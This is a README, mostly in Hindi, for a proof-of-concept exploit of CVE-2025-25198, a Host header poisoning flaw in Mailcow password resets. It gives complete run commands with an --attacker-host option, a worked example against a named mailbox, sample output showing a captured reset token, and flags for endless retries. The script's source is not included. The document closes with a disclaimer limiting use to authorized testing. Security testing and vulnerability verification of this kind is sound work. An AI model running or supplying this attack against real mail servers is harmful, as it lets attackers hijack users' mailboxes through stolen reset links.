CVE-2025-25198-PoC

Proof-of-concept for CVE-2025-25198 एक Host header poisoning समस्या है जो Mailcow password reset flows को प्रभावित करती है।

स्क्रिप्ट पोर्ट 443 पर एक स्थानीय HTTPS लिसनर शुरू करती है, स्वचालित रूप से एक वैध CSRF टोकन प्राप्त करती है, दूषित Host हेडर के साथ पासवर्ड रीसेट अनुक्रम भेजती है, और जब HTTP प्रतिक्रिया या लिसनर पर कॉलबैक से रीसेट लिंक प्राप्त होता है तो रुक जाती है।

यह क्या करता है

1. एक स्व-हस्ताक्षरित प्रमाणपत्र के साथ HTTPS लिसनर शुरू करता है।
2. एक नया HTTP क्लाइंट सत्र बनाता है।
3. स्वचालित रूप से CSRF टोकन प्राप्त करता है।
4. नियंत्रित Host हेडर के साथ रीसेट फ्लो भेजता है।
5. प्रतिक्रियाओं और रीडायरेक्ट से रीसेट लिंक निकालता है।
6. यदि लक्ष्य लिंक को आउट-ऑफ-बैंड भेजता है तो लिसनर हिट की प्रतीक्षा करता है।
7. पहले वैध रीसेट लिंक पर रुक जाता है और उसे साफ-साफ प्रिंट करता है।

आवश्यकताएँ

Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target

निर्भरताएँ स्थापित करें:

pip install -r requirements.txt

त्वरित आरंभ

कोण कोष्ठकों में लिपटे मान प्लेसहोल्डर हैं। उन्हें अपने स्वयं के मानों से बदलें और < या > वर्ण शामिल न करें।

sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url <MAILCOW_URL> \
  --username <MAILBOX> \
  --attacker-host <ATTACKER_HOST> \
  --http2

प्लेसहोल्डर

<MAILCOW_URL>    # लक्ष्य Mailcow आधार URL. उदाहरण: https://mail.example.com
<MAILBOX>        # रीसेट फॉर्म को दिया गया मेलबॉक्स/उपयोगकर्ता। आमतौर पर एक ईमेल पता।
<ATTACKER_HOST>  # IP या DNS नाम जिसे लक्ष्य TCP/443 पर पहुंच सकता है।

पूर्ण उदाहरण

sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url https://mail.cows.com \
  --username [email protected] \
  --attacker-host 10.10.13.12 \
  --http2

उदाहरण आउटपुट:

[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]

╔════════════════════════════════════════════════════════════════════════════════╗
║  RESET LINK FOUND!  (listener)                                                 ║
╟════════════════════════════════════════════════════════════════════════════════╢
║  https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD                ║
║  Target: mail.cows.com                                                         ║
╚════════════════════════════════════════════════════════════════════════════════╝

डेमो

वैकल्पिक फ्लैग

--http2
   httpx के माध्यम से HTTP/2 का उपयोग करें। आधुनिक ब्राउज़रों के साथ सर्वोत्तम समानता के लिए अनुशंसित।

--interval <seconds>
   प्रयासों और लिसनर प्रतीक्षा विंडो के बीच सेकंड। डिफ़ॉल्ट: 8

--max-attempts <N>
   N प्रयासों के बाद रुकें। डिफ़ॉल्ट: 0, जिसका अर्थ है अनिश्चित काल तक पुनः प्रयास।

--cookie '<pairs>'
   क्लाइंट कुकी जार को मैन्युअल रूप से सीड करें।
   उदाहरण: --cookie 'PHPSESSID=abcdef123456; another=value'

--csrf <TOKEN>
   स्वचालित खोज के बजाय ज्ञात CSRF टोकन का उपयोग करें।

--only-final
   प्रगति लॉग छुपाएं और केवल अंतिम रीसेट-लिंक बैनर प्रिंट करें।

नोट्स

• लिसनर हमेशा पोर्ट 443 से बाइंड होता है।
• Linux/macOS पर, पोर्ट 443 बाइंड करने के लिए sudo या रूट की आवश्यकता होती है।
• लक्ष्य https://<ATTACKER_HOST>/ तक पहुंचने में सक्षम होना चाहिए।
• यदि HTTP प्रतिक्रिया में रीसेट लिंक मिलता है, तो स्क्रिप्ट तुरंत बाहर निकल जाती है।
• यदि प्रतिक्रिया में कोई लिंक नहीं मिलता है, तो स्क्रिप्ट HTTPS लिसनर पर कॉलबैक की प्रतीक्षा करती है।
• यदि कोई लिंक प्राप्त नहीं होता है, तो अनुक्रम डिफ़ॉल्ट रूप से हर 8 सेकंड में पुनः प्रयास करता है।
• यदि गायब है तो server.pem और server.key स्वचालित रूप से उत्पन्न होते हैं।

कानूनी

यह PoC अधिकृत सुरक्षा परीक्षण, प्रयोगशाला वातावरण और कमजोरी सत्यापन के लिए अभिप्रेत है। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध इसका उपयोग न करें।